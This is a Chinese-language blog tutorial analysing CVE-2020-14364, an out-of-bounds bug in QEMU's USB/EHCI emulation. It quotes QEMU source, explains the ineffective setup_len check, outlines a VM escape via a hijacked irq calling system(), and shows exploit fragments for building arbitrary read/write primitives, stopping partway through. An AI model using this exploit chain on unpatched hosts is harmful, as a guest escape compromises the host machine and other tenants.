本系列文章是笔者刚入门QEMU开始写的,前两种是借鉴之处,后两种是网上现未公开的利用usb1的利用方式。本文首先介绍前两种方法。
CVE-2020-14364
QEMU版本
QEMU的版本没什么要求,因为这个漏洞声称对5.2.0之前的版本都适用,所以随便找个QEMU版本就行,关于内核和rootfs.img镜像不再多说,但是这次涉及到usb设备的制作。
第一种思路
环境配置
由于第二种思路需要QEMU启动时加载qxl-vga设备,我们需要在编译QEMU之前安装spice,如果不走这个思路的话可以跳过,直接编译QEMU,但是记得去掉–enable-spice参数。
以下来自[CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路 – 先知社区 (aliyun.com)]
#有一些依赖需要安装 #1.安装spice-protocol: wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2 tar xvf spice-protocol-0.12.10.tar.bz2 cd spice-protocol-0.12.10/ ./configure make sudo make install #2.安装celt: wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz tar zxvf celt-0.5.1.3.tar.gz cd celt-0.5.1.3/ ./configure make sudo make install #别的依赖 sudo apt install libjpeg-dev sudo apt-get install libsasl2-dev #安装spice-server wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2 tar xvf spice-0.12.7.tar.bz2 cd spice-0.12.7/ ./configure make sudo make install
然后就可以编译QEMU源码了。
tar -xvf qemu-xxxx.tar.xz cd qemu-xxxx ./configure --enable-kvm --enable-debug --target-list=x86_64-softmmu --disable-werror (可选 --enable-spice) make -j 4 make install
制作usb设备
qemu-img create -f raw usb.img 32M mkfs.vfat usb.img
启动
对应路径/qemu-system-x86_64 \
-enable-kvm \
-append "console=ttyS0 root=/dev/sda rw" \
-m 1G \
-kernel ./linux/arch/x86/boot/bzImage \
-hda ./rootfs.img \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::33333-:22 \
-usb \
-drive if=none,format=raw,id=disk1,file=./usb.img \
-device ich9-usb-ehci1,id=usb \
-device usb-storage,drive=disk1 \
(可选 -device qxl-vga \)
-nographic
漏洞分析
首先通过上面那张图可以注意到,过大的s->setup_len 会进行返回,但s->setup_len已经被赋值了,该处的检查没有起到效果,说白了就是这个检查没有什么卵用,为什么这么说呢?因为这个函数的功能本来就是获得s->setup_len而已,真正的输入和输出在另外两个函数,那么我们可以控制这个长度然后进行溢出,重点就是看溢出到哪,控制什么了,先看官方给的解释。
USB总线通过创建一个USBpacket对象来和USB设备通信。
数据交换为usbdevice中缓冲区的data_buf与usbpacket对象中使用usb_packet_map申请的缓冲区两者间通过usb_packet_copy函数实现,为了防止两者缓冲区长度不匹配,传送的长度由s->setup_len限制。
我们来看看这两个结构体外加一个函数,因为本文用的是4.0.0版QEMU,所以贴的源码也是这一版本的。
/* definition of a USB device */
struct USBDevice {
DeviceState qdev;
USBPort *port;
char *port_path;
char *serial;
void *opaque;
uint32_t flags;
/* Actual connected speed */
int speed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
int speedmask;
uint8_t addr;
char product_desc[32];
int auto_attach;
bool attached;
int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096]; //data_buf
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len; //setup_len
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];
QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device;
int configuration;
int ninterfaces;
int altsetting[USB_MAX_INTERFACES];
const USBDescConfig *config;
const USBDescIface *ifaces[USB_MAX_INTERFACES];
};
==========================================================================
/* Structure used to hold information about an active USB packet. */
struct USBPacket {
/* Data fields for use by the driver. */
int pid;
uint64_t id;
USBEndpoint *ep;
unsigned int stream;
QEMUIOVector iov;
uint64_t parameter; /* control transfers */
bool short_not_ok;
bool int_req;
int status; /* USB_RET_* status code */
int actual_length; /* Number of bytes actually transferred */
/* Internal use by the USB layer. */
USBPacketState state;
USBCombinedPacket *combined;
QTAILQ_ENTRY(USBPacket) queue;
QTAILQ_ENTRY(USBPacket) combined_entry;
};
======================================================================
void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes)
{
QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;
assert(p->actual_length >= 0);
assert(p->actual_length + bytes <= iov->size);
switch (p->pid) {
case USB_TOKEN_SETUP:
case USB_TOKEN_OUT:
iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
case USB_TOKEN_IN:
iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
default:
fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid);
abort();
}
p->actual_length += bytes;
}
另外通过看上面那个图得到的漏洞函数:
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;
if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}
usb_packet_copy(p, s->setup_buf, p->iov.size); //调用usb_packet_copy
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
if (s->setup_len > sizeof(s->data_buf)) { //这个检查无效
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];
if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
s->setup_state = SETUP_STATE_SETUP;
}
if (p->status != USB_RET_SUCCESS) {
return;
}
if (p->actual_length < s->setup_len) {
s->setup_len = p->actual_length;
}
s->setup_state = SETUP_STATE_DATA;
} else {
if (s->setup_len == 0)
s->setup_state = SETUP_STATE_ACK;
else
s->setup_state = SETUP_STATE_DATA;
}
p->actual_length = 8;
}
===========================================================
void usb_device_handle_control(USBDevice *dev, USBPacket *p, int request,
int value, int index, int length, uint8_t *data)
{
USBDeviceClass *klass = USB_DEVICE_GET_CLASS(dev);
if (klass->handle_control) {
klass->handle_control(dev, p, request, value, index, length, data);
}
}
==============================================================
#define USB_DEVICE_GET_CLASS(obj) \
OBJECT_GET_CLASS(USBDeviceClass, (obj), TYPE_USB_DEVICE) //跟着OBJECT_GET_CLASS后面还能跟好长
do_token_setup相当于是给我们创造一个使得len的长度越界的机会,在这上面调用usb_packet_copy时还未完成len的越界,所以我们找找在do_tocken_setup之后调用的usb_packet_copy,这时候其实调试看调用链是很合适的,但当时的笔者还不太清楚断点下在哪。
出人意料的是,do_token_setup只被调用一次,为查看源码找答案带来了极大的方便。
static void usb_process_one(USBPacket *p)
{
USBDevice *dev = p->ep->dev;
/*
* Handlers expect status to be initialized to USB_RET_SUCCESS, but it
* can be USB_RET_NAK here from a previous usb_process_one() call,
* or USB_RET_ASYNC from going through usb_queue_one().
*/
p->status = USB_RET_SUCCESS;
if (p->ep->nr == 0) {
/* control pipe */
if (p->parameter) {
do_parameter(dev, p);
return;
}
switch (p->pid) {
case USB_TOKEN_SETUP:
do_token_setup(dev, p);
break;
case USB_TOKEN_IN:
do_token_in(dev, p);
break;
case USB_TOKEN_OUT:
do_token_out(dev, p);
break;
default:
p->status = USB_RET_STALL;
}
} else {
/* data pipe */
usb_device_handle_data(dev, p);
}
}
那接下来看看他附近的函数,看调用usb_process_one之后有没有再调用usb_packet_copy的。(八成是有的,就是这种方法找起来太过痛苦)
static void do_token_in(USBDevice *s, USBPacket *p)
{
int request, value, index;
assert(p->ep->nr == 0);
request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];
switch(s->setup_state) {
case SETUP_STATE_ACK:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->actual_length = 0;
}
break;
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len); //中!!!
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
default:
p->status = USB_RET_STALL;
}
}
======================================================================
static void do_token_out(USBDevice *s, USBPacket *p)
{
assert(p->ep->nr == 0);
switch(s->setup_state) {
case SETUP_STATE_ACK:
if (s->setup_buf[0] & USB_DIR_IN) {
s->setup_state = SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;
case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len); //中了!!!
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
default:
p->status = USB_RET_STALL;
}
}
这俩函数也是只在那里被调用一次,有预感会中,没想到真中了,那我们来看看这俩函数是干嘛的,看到两次传入的len都是这么赋值的。
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
也就是说,如果p->iov.size不可控,那就很有可能无法很好的利用这一漏洞,甚至完全利用不了,当然,这能发出来作为CVE肯定是能利用的,如果不出意外,p->iov.size就是可控的,我们试试看能不能找到控制其大小的地方。
首先知道p是USBPacket结构体,iov是QEMUVector结构体,然后看了一下。
那么话说回来,我们现在看那两个函数是干嘛的,do_token_out和do_token_in看in和out应该是和io有关,再看看上面的一个注释。
/*
* Handlers expect status to be initialized to USB_RET_SUCCESS, but it
* can be USB_RET_NAK here from a previous usb_process_one() call,
* or USB_RET_ASYNC from going through usb_queue_one().
*/
没有得到想要的信息,那就看看那两个作为调用函数的依据的宏有没有注释一些东西。
#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_IN 0x69 /* device -> host */
#define USB_TOKEN_OUT 0xe1 /* host -> device */
找到了,看到很明显的就是数据交互的函数,结果和猜的一样。
那么也就是说,我们很有可能获得了任意长度写入读出的能力,在这种情况下,可以看看数据是存在哪个结构体中的哪个变量里,周围有没有覆盖的好对象。
从do_token_in开始:
usb_packet_copy(p, s->data_buf + s->setup_index, len);
回上面去看源码,可以看到在usb_packet_copy中还要根据p的pid调用函数,p的pid有这么三种,在上面贴过。
#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_IN 0x69 /* device -> host */
#define USB_TOKEN_OUT 0xe1 /* host -> device */
================================================
usb_packet_copy:
switch (p->pid) {
case USB_TOKEN_SETUP:
case USB_TOKEN_OUT:
iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
case USB_TOKEN_IN:
iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
其实调用iov_to_buf和调用iov_from_buf的条件和之前的do_token_out以及do_token_in是一致的。
关于iov_to_buf和iov_from_buf的源码就不贴了,用处不大,贴一下这个:
iov_to_buf(const struct iovec *iov, const unsigned int iov_cnt,
size_t offset, void *buf, size_t bytes)
...
memcpy(buf, iov[0].iov_base + offset, bytes);
...
iov_from_buf(const struct iovec *iov, unsigned int iov_cnt,
size_t offset, const void *buf, size_t bytes)
...
memcpy(iov[0].iov_base + offset, buf, bytes);
...
再回头看p的结构体,看iov附近有什么好溢出的。
unsigned int stream;
QEMUIOVector iov;
uint64_t parameter; /* control transfers */
很遗憾,没有找到什么有价值的利用的地方,再看另一结构体。
printf("hello world!");
在网上搜索USBEndpoint ep_ctl,稍微找了下没找到有用的信息,驱动小白罢了。
可以从下方的ep_ctl->dev获取到usbdevice的对象地址。
通过usbdevice的对象地址可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。
这点不难理解,USBDevice就是上面的结构体,得到结构体基址后加上偏移就能得到其中成员的地址,首先肯定是通过一越界读取来获得这一地址,然后再越界去覆盖一些成员,覆盖setup_index是因为写入的地址等于setup_index+data_buf,所以构造一下就能任意地址写。
我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。由于在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。
绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取。
改变setup_buf[0]为读入方向就能读取,并且对setup_index修改就能任意地址读。
利用手法
1、通过任意地址读取usbdevice对象的内容以获取ehcistate对象地址,再次使用任意地址读取ehcistate对象的内容以获取ehci_bus_ops_companion地址。该地址位于程序data节区。这时,我们可以获得程序的加载地址和system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。
2、在data_buf中伪造irq结构。
3、以伪造结构劫持ehcistate中的irq对象。
4、通过mmio读取寄存器以触发ehci_update_irq,执行system(“ xcalc”)。完成利用。
想看懂exp只有上面的利用过程还不够,后面主要讲解任意读写原语的构造。
构造任意读写原语
struct EHCIState {
USBBus bus;
DeviceState *device;
qemu_irq irq;
MemoryRegion mem;
AddressSpace *as;
[ ... ]
/*
* EHCI spec version 1.0 Section 2.3
* Host Controller Operational Registers
*/
uint8_t caps[CAPA_SIZE];
union {
uint32_t opreg[0x44/sizeof(uint32_t)];
struct {
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};
重点是opreg ,我们得到mmio_fd之后就映射一块内存,其实就是映射usb设备的内存,这样就让cpu访问usb直接访问内存,然后在usb的初始化中,对EHCIState结构中的opreg 的基地址设置在这块内存的偏移0x20。
static void usb_ehci_pci_init(Object *obj)
{
DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);
EHCIPCIState *i = PCI_EHCI(obj);
EHCIState *s = &i->ehci;
s->caps[0x09] = 0x68; /* EECP */
s->capsbase = 0x00;
s->opregbase = 0x20; //这里
s->portscbase = 0x44;
s->portnr = NB_PORTS;
if (!dc->hotpluggable) {
s->companion_enable = true;
}
usb_ehci_init(s, DEVICE(obj)); //调用了这个
}
再往下看看这个调用:
void usb_ehci_init(EHCIState *s, DeviceState *dev)
{
/* 2.2 host controller interface version */
s->caps[0x00] = (uint8_t)(s->opregbase - s->capsbase);
s->caps[0x01] = 0x00;
s->caps[0x02] = 0x00;
s->caps[0x03] = 0x01; /* HC version */
s->caps[0x04] = s->portnr; /* Number of downstream ports */
s->caps[0x05] = 0x00; /* No companion ports at present */
s->caps[0x06] = 0x00;
s->caps[0x07] = 0x00;
s->caps[0x08] = 0x80; /* We can cache whole frame, no 64-bit */
s->caps[0x0a] = 0x00;
s->caps[0x0b] = 0x00;
QTAILQ_INIT(&s->aqueues);
QTAILQ_INIT(&s->pqueues);
usb_packet_init(&s->ipacket);
memory_region_init(&s->mem, OBJECT(dev), "ehci", MMIO_SIZE);
memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s,
"capabilities", CAPA_SIZE);
memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s, //this
"operational", s->portscbase);
memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s,
"ports", 4 * s->portnr);
memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps);
memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg);
memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase,
&s->mem_ports);
}
在usb_ehci_init函数中又注册了对opreg区域读写的操作函数,
static const MemoryRegionOps ehci_mmio_opreg_ops = {
.read = ehci_opreg_read,
.write = ehci_opreg_write,
.valid.min_access_size = 4,
.valid.max_access_size = 4,
.endianness = DEVICE_LITTLE_ENDIAN,
};
对opreg的写操作会调用到ehci_opreg_write函数,
如 mmio_write(0x20, 0xddaa); 会调用ehci_opreg_write,此时传入的addr为0(0x20-0x20=0),表示对opreg的偏移0,后续根据addr进行选择处理,0进入USBCMD流程,即对usbcmd进行覆写,将EHCIState->usbcmd 改写成0xddaa。
下面看exp中的set_EHCIState:
void set_EHCIState(){
//ehci->periodiclistbase被我们填充为dmabuf的物理地址
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
//设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE 进入ehci_advance_periodic_state
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
sleep(1);
}
首先看为什么设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE。
#0 do_token_setup
#1 0x0000563a32c8ef9e in usb_process_one
#2 0x0000563a32c8f1a9 in usb_handle_packet
#3 0x0000563a32ca0847 in ehci_execute
#4 0x0000563a32ca1b62 in ehci_state_execute
#5 0x0000563a32ca205f in ehci_advance_state
#6 0x0000563a32ca24a9 in ehci_advance_periodic_state
#7 0x0000563a32ca279f in ehci_frame_timer //<--------------------
#8 0x0000563a32d28e50 in timerlist_run_timers
#9 0x0000563a32d28e99 in qemu_clock_run_timers
#10 0x0000563a32d2919e in qemu_clock_run_all_timers
#11 0x0000563a32d27b47 in main_loop_wait
#12 0x0000563a32b5e021 in main_loop
#13 0x0000563a32b65d2d in main
#14 0x00007f23c5afbbf7 in __libc_start_main
#15 0x0000563a32a11d6a in _start
调用链来自CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路 – 先知社区 (aliyun.com),
小编自己下的断点没调出来,通过调用链可以看到:调用ehci_advance_periodic_state需先通过ehci_work_bh,看看在ehci_work_bh中,什么情况下才会调用ehci_advance_periodic_state。
static void ehci_work_bh(void *opaque)
{
EHCIState *ehci = opaque;
int need_timer = 0;
int64_t expire_time, t_now;
uint64_t ns_elapsed;
uint64_t uframes, skipped_uframes;
[ ... ]
if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE) { //这里
[ ... ]
}
===================================================================
static inline bool ehci_periodic_enabled(EHCIState *s)
{
return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE);
}
==================================================================
static inline bool ehci_enabled(EHCIState *s)
{
return s->usbcmd & USBCMD_RUNSTOP;
}
首先可以看到需usbcmd设置USBCMD_RUNSTOP | USBCMD_PSE,
然后才能进入ehci_advance_periodic_state。
下面看为什么要ehci->periodiclistbase被填充为dmabuf的物理地址。
static void ehci_advance_periodic_state(EHCIState *ehci)
{
uint32_t entry;
uint32_t list;
const int async = 0;
switch(ehci_get_state(ehci, async)) {
case EST_INACTIVE:
if (!(ehci->frindex & 7) && ehci_periodic_enabled(ehci)) {
ehci_set_state(ehci, async, EST_ACTIVE);
// No break, fall through to ACTIVE
} else
break;
case EST_ACTIVE:
if (!(ehci->frindex & 7) && !ehci_periodic_enabled(ehci)) {
ehci_queues_rip_all(ehci, async);
ehci_set_state(ehci, async, EST_INACTIVE);
break;
}
list = ehci->periodiclistbase & 0xfffff000; //这里
/* check that register has been set */
if (list == 0) {
break;
}
list |= ((ehci->frindex & 0x1ff8) >> 1); //这里
if (get_dwords(ehci, list, &entry, 1) < 0) { //这里
break;
}
DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n",
ehci->frindex / 8, list, entry);
ehci_set_fetch_addr(ehci, async,entry); //这里
ehci_set_state(ehci, async, EST_FETCHENTRY);
ehci_advance_state(ehci, async);
ehci_queues_rip_unused(ehci, async);
break;
default:
/* this should only be due to a developer mistake */
fprintf(stderr, "ehci: Bad periodic state %d. "
"Resetting to active\n", ehci->pstate);
g_assert_not_reached();
}
}
list = ehci->periodiclistbase & 0xfffff000; + list |= ((ehci->frindex & 0x1ff8) >> 1);使得list为virt2phys(dmabuf)+4。
get_dwords(ehci, list, &entry, 1)将list上的内容写入entry ( dmabuf赋值时 entry = dmabuf + 4;),所以在dmabuf + 4 填充了virt2phys(qh)+0x2; 作为entry (*entry = virt2phys(qh)+0x2;)。
之后在ehci_set_fetch_addr(ehci, async,entry); 中,
static void ehci_set_fetch_addr(EHCIState *s, int async, uint32_t addr)
{
if (async) {
s->a_fetch_addr = addr;
} else {
s->p_fetch_addr = addr;
}
}
将list的内容,即virt2phys(qh)+2写入s->p_fetch_addr。
这里的entry为什么要多个+2是因为:
static void ehci_advance_periodic_state(EHCIState *ehci)
[...]
ehci_set_fetch_addr(ehci, async,entry); //这里得到entry
ehci_set_state(ehci, async, EST_FETCHENTRY); //这里设置state为EST_FETCHENTRY,所以进入下面的函数处理分支会调用这个状态对应的
ehci_advance_state(ehci, async); //进这里看
ehci_queues_rip_unused(ehci, async);
static void ehci_advance_state(EHCIState *ehci, int async)
{
EHCIQueue *q = NULL;
int itd_count = 0;
int again;
do {
switch(ehci_get_state(ehci, async)) {
case EST_WAITLISTHEAD:
again = ehci_state_waitlisthead(ehci, async);
break;
case EST_FETCHENTRY: //第一次运行到这里
again = ehci_state_fetchentry(ehci, async); //进去看看
break;
case EST_FETCHQH: //这里
q = ehci_state_fetchqh(ehci, async); //得到qh
if (q != NULL) {
assert(q->async == async);
again = 1;
} else {
again = 0;
}
break;
[ ... ]
============================================================
static int ehci_state_fetchentry(EHCIState *ehci, int async)
{
int again = 0;
uint32_t entry = ehci_get_fetch_addr(ehci, async);
[ ... ]
switch (NLPTR_TYPE_GET(entry)) {
case NLPTR_TYPE_QH: //这里
ehci_set_state(ehci, async, EST_FETCHQH); //这里设置之后回到ehci_advance_state就能调用那个返回qh的分支了
again = 1;
break;
[ ... ]
我们的目的是得到qh结构,即要运行EST_FETCHQH这一分支,第一次进来时,运行ehci_state_fetchentry得到entry,内容和s->p_fetchaddr相等,是virt2phys(qh)+0x2,并且在ehci_state_fetchentry中可以设定下次循环调用获得qh的分支,条件是NLPTR_TYPE_GET(entry)和NLPTR_TYPE_QH值相等,看下二者定义:
#define NLPTR_TYPE_QH 1 // queue head
#define NLPTR_TYPE_GET(x) (((x) >> 1) & 3)
对于NLPTR_TYPE_GET(x)在这是 NLPTR_TYPE_GET(entry),即(virt2phys(qh)+0x2)>>1&3,
要得到1,显然加上2是能确保我们在这里百分百能达成条件的,所以在这里就能设置响应state然后调用ehci_state_fetchqh 得到qh。
static EHCIQueue *ehci_state_fetchqh(EHCIState *ehci, int async)
{
uint32_t entry;
EHCIQueue *q;
EHCIqh qh;
entry = ehci_get_fetch_addr(ehci, async);
q = ehci_find_queue_by_qh(ehci, entry, async);
if (q == NULL) {
q = ehci_alloc_queue(ehci, entry, async);
}
q->seen++;
if (q->seen > 1) {
/* we are going in circles -- stop processing */
ehci_set_state(ehci, async, EST_ACTIVE);
q = NULL;
goto out;
}
if (get_dwords(ehci, NLPTR_GET(q->qhaddr),
(uint32_t *) &qh, sizeof(EHCIqh) >> 2) < 0) {
q = NULL;
goto out;
}
ehci_trace_qh(q, NLPTR_GET(q->qhaddr), &qh);
/*
* The overlay area of the qh should never be changed by the guest,
* except when idle, in which case the reset is a nop.
*/
if (!ehci_verify_qh(q, &qh)) {
if (ehci_reset_queue(q) > 0) {
ehci_trace_guest_bug(ehci, "guest updated active QH");
}
}
q->qh = qh;
q->transact_ctr = get_field(q->qh.epcap, QH_EPCAP_MULT);
if (q->transact_ctr == 0) { /* Guest bug in some versions of windows */
q->transact_ctr = 4;
}
if (q->dev == NULL) {
q->dev = ehci_find_device(q->ehci,
get_field(q->qh.epchar, QH_EPCHAR_DEVADDR));
}
if (async && (q->qh.epchar & QH_EPCHAR_H)) {
/* EHCI spec version 1.0 Section 4.8.3 & 4.10.1 */
if (ehci->usbsts & USBSTS_REC) {
ehci_clear_usbsts(ehci, USBSTS_REC);
} else {
DPRINTF("FETCHQH: QH 0x%08x. H-bit set, reclamation status reset"
" - done processing\n", q->qhaddr);
ehci_set_state(ehci, async, EST_ACTIVE);
q = NULL;
goto out;
}
}
#if EHCI_DEBUG
if (q->qhaddr != q->qh.next) {
DPRINTF("FETCHQH: QH 0x%08x (h %x halt %x active %x) next 0x%08x\n",
q->qhaddr,
q->qh.epchar & QH_EPCHAR_H,
q->qh.token & QTD_TOKEN_HALT,
q->qh.token & QTD_TOKEN_ACTIVE,
q->qh.next);
}
#endif
if (q->qh.token & QTD_TOKEN_HALT) {
ehci_set_state(ehci, async, EST_HORIZONTALQH);
} else if ((q->qh.token & QTD_TOKEN_ACTIVE) &&
(NLPTR_TBIT(q->qh.current_qtd) == 0)) {
q->qtdaddr = q->qh.current_qtd;
ehci_set_state(ehci, async, EST_FETCHQTD);
} else {
/* EHCI spec version 1.0 Section 4.10.2 */
ehci_set_state(ehci, async, EST_ADVANCEQUEUE);
}
out:
return q;
}
然后就得到了qh地址,之后就会沿着上面给出的调用链继续运行下去,一直到触发漏洞函数。
接下来看任意读写原语的构造过程,只要这个看懂了,exp其余部分就自然懂了。
越界读
还记得漏洞函数是什么吗?没错,就是对赋值长度的检查形同虚设引起usb_packet_copy任意长度赋值,那首先要设置赋值的长度,设置一个比较长的长度,把漏洞函数拿下来方便看。
static void do_token_setup(USBDevice *s, USBPacket *p)
{
usb_packet_copy(p, s->setup_buf, p->iov.size); //调用usb_packet_copy
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; //长度是由这俩参数设置的
[...]
if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
[ ... ]
}
可以先调用一次这个函数,使得设置s->setup_len 的长度为越界长度,要进入do_token_setup 需要通过设置qtd->token值。
#define QTD_TOKEN_PID_MASK 0x00000300
#define QTD_TOKEN_PID_SH 8
#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_IN 0x69 /* device -> host */
#define USB_TOKEN_OUT 0xe1 /* host -> device */
static int ehci_get_pid(EHCIqtd *qtd)
{
switch (get_field(qtd->token, QTD_TOKEN_PID)) {
case 0:
return USB_TOKEN_OUT;
case 1:
return USB_TOKEN_IN; //do_token_in
case 2:
return USB_TOKEN_SETUP; //进do_token_setup设置 s->setup_len
default:
fprintf(stderr, "bad token\n");
return 0;
}
}
==============================================
#define get_field(data, field) \
(((data) & field##_MASK) >> field##_SH)
设置qtd->token为 2 << 8 即可进入do-token_setup分支,之后设置setup_buf[7]和setup_buf[6] 构造要越界的长度。
然后设置qtd->token 为 1<<8,进入do_token_in,另外在do_token_in中有别的条件需要满足。
static void do_token_in(USBDevice *s, USBPacket *p)
{
switch(s->setup_state) {
case SETUP_STATE_ACK:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->actual_length = 0;
}
break;
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) { //这里,一个约束条件
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len); //这里
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
}
可以看到,要设置setup_buf[0]为USB_DIR_IN,才能调用usb_packet_copy,将s->data_buf复制到qtd->bufptr[0],进行泄露,达到越界读的目的。
其中p->iov.size大小由 qtd->token = size << QTD_TOKEN_TBYTES_SH 控制。
越界写
同上面的一样要先进setup设置长度,再设置qtd->token 为 0<<8,进入do_token_out分支,而且这里也有额外约束条件。
static void do_token_out(USBDevice *s, USBPacket *p)
{
assert(p->ep->nr == 0);
switch(s->setup_state) {
case SETUP_STATE_ACK:
if (s->setup_buf[0] & USB_DIR_IN) {
s->setup_state = SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;
case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) { //约束条件
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
}
需要设置setup_buf[0]为USB_DIR_OUT,然后就能达到将qtd->bufptr[0]复制到s->data_buf进行覆写的目的
这里需要注意的是经过几次调用后,s->setup_index >= s->setup_len 会满足条件,s->setup_state 会被设置成 SETUP_STATE_ACK,可以通过调用一次do_token_setup,设置正常长度,将s->setup_state重新设置成SETUP_STATE_DATA
任意读原语
设置越界长度为0x1010,过程和上面的设置长度一样,都是进入do_token_setup设置(通过设置setup_buf[6、7]);
进行越界写,将setup_len 设置成0x1010(这里不同上面,这里是利用越界写写入的值,而不是用那俩参数设置的),setup_index设置成0xfffffff8-0x1010,因为do_token_out中调用usb_packet_copy之后会有 s->setup_index += len 操作,此时s->setup_index 就会被设置成0xfffffff8;
再次进行越界写,此时从data_buf-8处写,覆盖了setup字段,将setup_buf[0]设置成USB_DIR_IN,并且将setup_index覆盖成目标地址偏移-0x1018,因为也要经过s->setup_index += len;操作。并且本次进入case SETUP_STATE_DATA时:len = s->setup_len – s->setup_index操作(0x1010-(-0x8)=0x1018),使得len变成0x1018;
